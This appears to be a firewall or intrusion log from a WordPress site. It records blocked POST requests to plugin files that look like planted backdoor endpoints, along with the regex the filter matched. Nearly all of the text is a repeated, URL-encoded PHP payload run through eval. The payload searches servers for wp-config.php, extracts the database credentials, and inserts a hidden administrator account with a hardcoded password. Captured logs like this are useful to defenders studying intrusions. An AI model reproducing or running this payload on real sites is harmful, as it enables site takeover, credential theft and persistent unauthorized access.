0%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:26:02","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncontent-length:12663\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\n\nEmiqkL=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:26:19","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nb:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%2